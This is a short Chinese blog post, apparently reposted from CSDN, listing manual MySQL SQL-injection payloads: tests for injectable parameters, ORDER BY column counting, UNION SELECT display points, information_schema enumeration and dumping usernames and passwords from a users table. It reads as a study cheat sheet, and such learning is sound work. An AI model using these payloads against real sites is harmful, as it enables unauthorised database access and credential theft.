SQL注入手工注入常用的语句

判断是否存在注入
and 1=1 / and 1=2 回显页面不同(整形判断)

输入and 1=1和and 1=2后发现页面没有变化,判断不是整型注入
输入’ and 1=1 %23和 ’ and 1=2%23后发现页面变化,判断为字符注入
在数据库中 1=1 和1=2 后面随便输入字符串(相当于1=1和1=2后面的查询语句),发现select 1="1dasd"时返回1正确,1="2dasd"时返回0错误,即select在查询时忽略后面的字符串,只让1和后面第一个数字对比,如果相等就是正确,不相等返回错误。

单引号判断‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断)
判断有多少列
order by n

order by 函数是对MySQL中查询结果按照指定字段名进行排序,除了指定字 段名还可以指定字段的栏位进行排序,第一个查询字段为1,第二个为2,依次 类推。我们可以通过二分法来猜解列数

判断数据显示点
union select 1,2,3, N

UNION的作用是将两个select查询结果合并
程序在展示数据的时候通常只会取结果集的第一行数据,只要让第一行查询的结果是空集,即union左边的select子句查询结果为空,那么union右边的查询结果自然就成为了第一行,打印在网页上了

查看数据库基本信息
获取所有数据库名:group_concat()一次性显示:

select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

显示当前数据库:

union select 1,version(),database()

获取表名

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema= ‘security’

获取列名

union select 1,2,group_concat(column_name) from information_schema.columns where table_name= ‘users’

查看账号密加粗样式码信息

union select 1,2,group_concat(username),group_concat(password)from users

获取列中的信息

select * from yourtablename limit 2,4;
发布了20 篇原创文章 · 获赞 18 · 访问量 2万+

猜你喜欢

转载自blog.csdn.net/qq_43457125/article/details/97526615